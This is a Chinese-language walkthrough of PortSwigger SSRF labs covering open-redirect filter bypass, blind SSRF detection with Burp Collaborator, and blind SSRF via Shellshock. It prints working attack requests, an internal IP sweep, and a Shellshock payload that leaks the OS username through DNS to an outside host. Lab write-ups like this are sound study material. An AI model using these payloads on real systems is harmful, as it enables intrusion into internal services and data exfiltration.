【BP靶场portswigger-服务端9】服务端请求伪造SSRF漏洞-7个实验(全)(下)

本文涉及的产品
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
简介: 【BP靶场portswigger-服务端9】服务端请求伪造SSRF漏洞-7个实验(全)(下)

3、通过开放重定向绕过SSRF滤波器


1、有时可以通过利用开放的重定向漏洞来绕过任何类型的基于过滤器的防御。


2、假设用户提交的URL经过严格验证,以防止对SSRF行为的恶意利用。但允许其URL的应用程序包含一个开放的重定向漏洞。如果用于使后端HTTP请求支持重定向的API,则可以构造一个满足过滤器的URL,并将请求重定向到所需的后端目标


例如,假设应用程序包含一个开放的重定向漏洞,其中以下URL:
/product/nextProduct?currentProductId=6&path=http://evil-user.net
返回重定向到:
http://evil-user.net


3、可以利用开放重定向漏洞绕过URL过滤器,并利用SSRF漏洞进行攻击


例如:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin


这个SSRF攻击之所以有效,是因为应用程序首先验证提供的stockAPI URL是否在允许的域中,它确实是。然后应用程序请求提供的URL,这将触发打开重定向。它遵循重定向,并向攻击者选择的内部URL发出请求


4、涉及实验:


实验4:SSRF通过开放重定向漏洞绕过过滤器


实验4:SSRF通过开放重定向漏洞绕过过滤器


信息:


这个实验室有一个库存检查功能,可以从内部系统获取数据


要解决这个实验室:改变库存检查的 URL,以访问 http://192.168.0.12:8080/admin 的管理界面,并删除用户 carlos


库存检查器被限制为只能访问本地应用程序,因此需要首先找到一个影响应用程序的打开重定向


part1:


访问一个产品,点击"检查库存",使用BP拦截请求,并将其发送到repeater


ac857cc3806645e4a0c57673f8997839.png



尝试篡改stockApi参数,观察到无法使服务器直接向其他主机发出请求


00ea7fee24aa4733a6a78ef9d58ba88a.png


part2:


重定向功能

单击"next product"并观察到path参数被放置到重定向响应的Location头中,从而导致打开重定向


99884363f598427b914811649f92002c.png

发送到repeater


创建一个利用开放重定向漏洞的URL,重定向到管理界面,并将其输入股票检查器上的stockApi参数:


/product/nextProduct?path=http://192.168.0.12:8080/admin

f57532e5de764047adc302f4c4f24569.png

跟随重定向并显示管理页面


(但是重定向没有真真的被执行)

7df441d00b21499ca832a916ff8546d9.png


part3:


添加重定向参数,并使用其他方式提交(因为GET提交的重定向会检查参数)


12d0e5fceef54177b126ed0e1965d94d.png

26bb82d401dd4e9d9e6fa17c2dc35617.png


(这一过程中测试了很多情况)


如(失败的):


9415fb4b06d242bc905a35983e5f9ae7.png


part4:


管理页面


如果失败(注意是cookie的问题,重新拦截发包)


请求头:
POST /product/stock HTTP/1.1
请求数据:
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin

f78ba2e2ea4d4181abf39f7c901a1057.png


part5:


完成实验


修改路径以删除目标用户

f17ec4c42409454f9f2bc5dac228a9a6.png


/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

28ab7a58f02e4451b6e3e730c5a05ee0.png276920d3d16a458c9c3a085555ca97ba.png

四、盲SSRF漏洞


1、简述:


1、当应用程序被诱导向提供的URL发出后端HTTP请求,但来自后端请求的响应没有在应用程序的前端响应中返回时,就会出现盲SSRF漏洞。


2、盲SSRF通常更难被利用,但有时会导致在服务器或其他后端组件上完全远程执行代码。


2、影响:


盲目SSRF漏洞的影响通常低于完全知情的SSRF漏洞,因为它们是单向的。虽然在某些情况下可以利用它们来实现完全的远程代码执行,但不能轻易利用它们来从后端系统检索敏感数据。


3、发现和利用SSRF漏洞


1、检测盲SSRF漏洞的最可靠方法是使用带外(OAST)技术。这涉及到尝试触发对您控制的外部系统的HTTP请求,并监视与该系统的网络交互。


2、使用带外技术最简单、最有效的方法是使用Burp Collaborator。您可以使用Burp Collaborator客户机生成唯一的域名,将这些域名以有效负载的形式发送到应用程序,并监视与这些域的任何交互。如果观察到来自应用程序的传入HTTP请求,则它容易受到SSRF攻击。


3、 在测试SSRF漏洞时,通常会观察到针对所提供Collaborator域的DNS查找,但没有后续HTTP请求。发生这种情况的原因通常是应用程序试图向域发出HTTP请求,这会导致初始DNS查找,但实际的HTTP请求被网络级过滤阻止。基础设施允许出站DNS流量是相对常见的,因为这是许多目的所需要的,但会阻止到意外目的地的HTTP连接。

4、简单地识别盲人SSRF易损性可以触发带外HTTP请求的漏洞本身并不提供攻击途径。由于无法查看后端请求的响应,因此不能使用该行为来浏览应用服务器可以访问的系统上的内容。但是,仍然可以利用它来探测服务器本身或其他后端系统上的其他漏洞。您可以盲目地扫描内部IP地址空间,发送旨在检测已知漏洞的有效负载。如果这些有效负载还采用了盲带外技术,那么您可能会发现未打补丁的内部服务器上存在严重漏洞。


5、利用SSRF漏洞的另一个途径是诱使应用程序连接到攻击者控制下的系统,并向建立连接的HTTP客户端返回恶意响应。如果可以利用服务器HTTP实现中的严重客户端漏洞,则可能能够在应用程序基础结构中实现远程代码执行。


6、涉及实验:


实验5:带外检测的盲SSRF


实验7:利用Shellshock的盲SSRF


实验5:带外检测的盲SSRF


本网站使用分析软件,当产品页面加载时,该软件会获取Referer标题中指定的URL。


要解决实验:使用此功能向公共Burp Collaborator服务器发出HTTP请求。


part1:


访问一个产品,在Burp Suite中拦截请求,并将其发送到Burp Repeater


5a189b40bf024f8e9f72f7f097253429.png


part2:


使用BP提供的服务器客户端

BP选项卡---BC客户端---复制服务器URL


https://xqrbsy7k0bvri28avnpps3ddb4hu5j.burpcollaborator.net

d66f40a95ea140698154788228e1c092.png90a08e1672e74631ab3f876022c8624b.png


以使用Burp Collaborator生成的域替换原始域(Referer),发送请求


29594005299b4c80921ecf53d9528bdb.png



转到Collaborator选项卡,再刷新,查看交互信息(看到一些DNS和HTTP交互,这些交互是应用程序由于负载而启动的)


2e3be6c697ad45778619a69b5ab01d2e.png

39579dd2b7024cd88fb6216587d7e7a0.png

实验7:利用Shellshock的盲SSRF


本网站使用分析软件,当产品页面加载时,该软件会获取Referer标题中指定的URL。


要解决实验问题,请使用此功能对端口8080上的192.168.0.X范围内的内部服务器执行SSRF盲攻击。在盲目攻击中,对内部服务器使用Shellshock有效负载以泄漏操作系统用户的名称


part1:


在Burp Suite Professional中,从BApp Store安装"Collaborator Everywhere"扩展


57a8b9c95345420883c896573f289bd2.png


part2:


插件的检测


将实验室域添加到Burp Suite的目标范围,以便Collaborator Everywhere将其作为目标。


5e875102185547e59f2d42b466c6f788.png


浏览网站,当加载产品页面时,它通过Referer头触发了与Burp Collaborator的HTTP交互


d270396d3aab466ab827de8b7375211d.png


观察HTTP交互在HTTP请求中包含User-Agent字符串。将对产品页面的请求发送给Burp Intruder


76b61a0490d745a295ca7a1642ec3948.png


part3:


ssrf盲测


使用Burp Collaborator 客户端生成唯一的 Burp Collaborator 有效载荷,并将其放入以下 Shellshock 有效载荷中

69d2cb8d2d3b44e5949f0b4eb234be10.png


() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
我的是:
() { :; }; /usr/bin/nslookup $(whoami).87datwvawy02yijyhbt67qkzfqlh96.burpcollaborator.net


单击“clear §”,更改 Referer 标头,http://192.168.0.1:8080然后突出显示 IP 地址的最后一个八位字节(数字1),单击“添加 §”


ae667d79d8044c7ebc785726bcd219bb.png


切换到Payloads选项卡,将有效负载类型更改为Numbers,并在"From"、"To"和"Step"框中分别输入1、255和1(单击"开始攻击")


e6d0131f14cf4d9db8877ff1ffe9cf12.png


攻击完成后,返回Collaborator选项卡,然后单击"立即轮询"。应该看到一个DNS交互,它是由被成功的盲SSRF攻击击中的后端系统发起的。操作系统用户的名称应显示在DNS子域中。


(如果始终没有结果,考虑是否是cookie过期,换一个cookie;或者重新复制一个BP客户端URL)


80b474ffc7014d88915c29fcf403c238.png

fcdd702b812b4992a5bb56121eac859c.png



part5:


完成实验


输入操作系统用户的名称


e45dea4b084c4a109749aa8f6bb890c7.png


e276dfc52f9849dfa054669530edb269.png


五、寻找SSRF漏洞的隐藏攻击面


1、简述:


许多服务器端请求伪造漏洞相对容易发现,因为应用程序的正常通信涉及包含完整URL的请求参数。SSRF的其他例子更难找到。


2、请求中的部分URL


有时,应用程序只将主机名或URL路径的一部分放入请求参数中。然后,提交的值在服务器端合并到请求的完整URL中。如果该值很容易被识别为主机名或URL路径,则潜在的攻击面可能很明显。然而,作为完整SSRF的可利用性可能会受到限制,因为您无法控制所请求的整个URL。


3、数据格式中的URL


一些应用程序传输数据的格式的规范允许包含数据解析器可能会请求的格式的URL。一个明显的例子是XML数据格式,它已广泛用于Web应用程序中将结构化数据从客户机传输到服务器。当应用程序接受XML格式的数据并对其进行解析时,它可能容易受到XXE注射液,并反过来容易受到SSRF通过XXE。我们将在查看时更详细地讨论这一点XXE注射液脆弱性。


4、SSRF通过Referer报头


一些应用程序使用服务器端分析软件来跟踪访问者。该软件通常记录请求中的Referer头,因为这对于跟踪传入链接特别有用。分析软件通常会访问出现在Referer标题中的任何第三方URL。这通常用于分析引用站点的内容,包括传入链接中使用的锚文本。因此,Referer报头通常代表SSRF漏洞的有效攻击面。见盲SSRF漏洞有关Referer标头漏洞的示例。

7d62be979184459ab44139ed85f387fe.png



目录
相关文章
|
存储 Web App开发 JavaScript
【BP靶场portswigger-客户端11】跨站点脚本XSS-20个实验(上)
【BP靶场portswigger-客户端11】跨站点脚本XSS-20个实验(上)
1170 0
【BP靶场portswigger-客户端11】跨站点脚本XSS-20个实验(上)
pikachu靶场通过秘籍之服务端请求伪造攻击
pikachu靶场通过秘籍之服务端请求伪造攻击
89 0
|
安全 前端开发 应用服务中间件
【BP靶场portswigger-服务端9】服务端请求伪造SSRF漏洞-7个实验(全)(上)
【BP靶场portswigger-服务端9】服务端请求伪造SSRF漏洞-7个实验(全)(上)
348 0
【BP靶场portswigger-服务端9】服务端请求伪造SSRF漏洞-7个实验(全)(上)
|
存储 Web App开发 安全
【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验(全)(下)
【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验(全)(下)
617 0
【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验(全)(下)
|
存储 Web App开发 安全
【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验(全)(上)
【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验(全)(上)
745 0
【BP靶场portswigger-客户端12】跨站点请求伪造CSRF-12个实验(全)(上)
|
安全 前端开发 中间件
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(下)
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(下)
473 0
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(下)
|
JSON 安全 Oracle
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(上)
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(上)
554 0
【bp靶场portswigger-服务端2】身份认证漏洞-16个实验(全)(上)
|
JSON 安全 前端开发
【BP靶场portswigger-客户端16】测试WebSockets安全漏洞-3个实验(全)
【BP靶场portswigger-客户端16】测试WebSockets安全漏洞-3个实验(全)
517 0
【BP靶场portswigger-客户端16】测试WebSockets安全漏洞-3个实验(全)
|
安全 Java Shell
BP靶场portswigger-服务端8】文件上传漏洞-7个实验(全)(上)
BP靶场portswigger-服务端8】文件上传漏洞-7个实验(全)(上)
354 0
BP靶场portswigger-服务端8】文件上传漏洞-7个实验(全)(上)
|
存储 安全 关系型数据库
【BP靶场portswigger-服务端6】信息泄露漏洞-5个实验(全)(下)
【BP靶场portswigger-服务端6】信息泄露漏洞-5个实验(全)(下)
277 0
【BP靶场portswigger-服务端6】信息泄露漏洞-5个实验(全)(下)